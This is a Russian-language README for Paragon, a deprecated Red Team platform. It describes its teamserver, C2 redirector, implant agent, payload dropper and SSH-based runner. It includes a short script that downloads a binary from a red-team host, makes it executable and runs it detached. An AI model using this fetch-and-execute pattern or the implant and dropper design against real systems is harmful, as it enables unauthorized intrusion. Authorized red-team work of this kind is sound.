
Платформа для взаимодействия Red Team, нацеленная на объединение инструментов атаки под простым пользовательским интерфейсом.
Этот проект прекратил поддержку. Пожалуйста, обратитесь к нашему новому проекту Realm, который основан на многих идеях, заложенных при создании этого репозитория.

Paragon — это платформа для проведения Red Team-операций. Она объединяет offensive-инструменты за простым интерфейсом, абстрагируя большую часть серверной работы, чтобы операторы могли сосредоточиться на написании имплантов и тратить меньше времени на базы данных и CSS. Репозиторий также включает несколько offensive-инструментов, уже интегрированных с Paragon, которые можно использовать во время операций.
Этот репозиторий всё ещё находится в стадии активной разработки и не готов к использованию в production. Когда он будет признан стабильным, будет выпущен тег V1.0.0. До этого момента API может претерпевать критические изменения, так как мы постоянно упрощаем наш дизайн. Пожалуйста, ознакомьтесь с документацией для разработчиков ниже, если хотите помочь нам быстрее достичь этого этапа.
Для быстрого запуска демонстрационного экземпляра клонируйте репозиторий и выполните docker-compose up. Откройте 127.0.0.1:80 в браузере, чтобы начать!
Используемые образы доступны на docker-hub и могут быть настроены из файла docker-compose для production-развертывания.
Большинство компонентов в этом репозитории используют скриптовый язык в стиле Python, обеспечивающий гибкое управление и настройку их поведения. Язык представляет собой модифицированную версию starlark от Google, расширенную кроссплатформенными функциями для операторов. Это также позволяет таким инструментам, как агент и дроппер (описаны ниже), выполнять задачи без использования системных бинарников (curl, bash и т.д.). Все операции выполняются как код на Golang, поэтому добавлять новые функции в среду скриптов интуитивно понятно. Вот пример скрипта:
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
Предоставляет простое веб-приложение и GraphQL API для взаимодействия с графом знаний Red Team, объединяя инструменты за единым источником истины и абстрагируя множество рутинных серверных задач. Интегрируйте свои инструменты с Teamserver (через GraphQL API или подписки на события), чтобы сэкономить время на серверной части. Teamserver записывает все действия, поэтому, когда все ваши инструменты объединены в одном месте, составление отчетов по итогам операции становится значительно проще.
Нижеперечисленные инструменты также включены в репозиторий. Их легко расширить для различных кроссплатформенных сценариев использования.
Paragon предоставляет инструмент для упаковки ресурсов (бинарников, скриптов и т.д.) в один бинарник, который при выполнении запускает ваш пользовательский скрипт развертывания. Скрипт может записывать ресурсы в файловую систему, запускать процессы, скачивать файлы, обрабатывать ошибки и многое другое. Инструмент полностью кроссплатформенный и статически скомпилирован, обеспечивая надежное развертывание. Если вы хотите расширить его функциональность, просто расширьте сгенерированный файл Golang перед компиляцией.
Имплант, который выполняет задачи и сообщает о результатах. По умолчанию он настроен на выполнение задач с использованием скриптового языка Paragon в стиле Python и связь с C2 через http(s). Написан на Go, может быть быстро модифицирован для добавления новых методов передачи (например, DNS), вариантов выполнения, логики отказоустойчивости и т.д.
Выступает в качестве посредника между агентом и Teamserver. Обрабатывает обратные вызовы агентов для различных механизмов связи и предоставляет им новые задачи из очереди Teamserver.
Вместо ожидания обратного вызова некоторые ситуации могут потребовать прямого соединения для быстрого выполнения задачи и просмотра результата. Runner реализует это, подписываясь на очереди задач и устанавливая соединение с целевой машиной (например, через SSH). Это позволяет интеграциям в стиле оболочки использовать тот же интерфейс, что и импланты и C2. Также позволяет проводить первоначальное развертывание имплантов через этот интерфейс.
Мониторинг сетевой активности целей и видимых сервисов. Построение графа сети операции и запуск автоматизации при изменении состояния (например, SSH становится доступным).
Установка переменной окружения PG_KS_MachineUUID для killswitch Teamserver отключит поиск по машине UUID.
Для обеспечения четкого понимания сложных систем ниже приведены несколько специфичных для проекта терминов, которые будут использоваться в документации.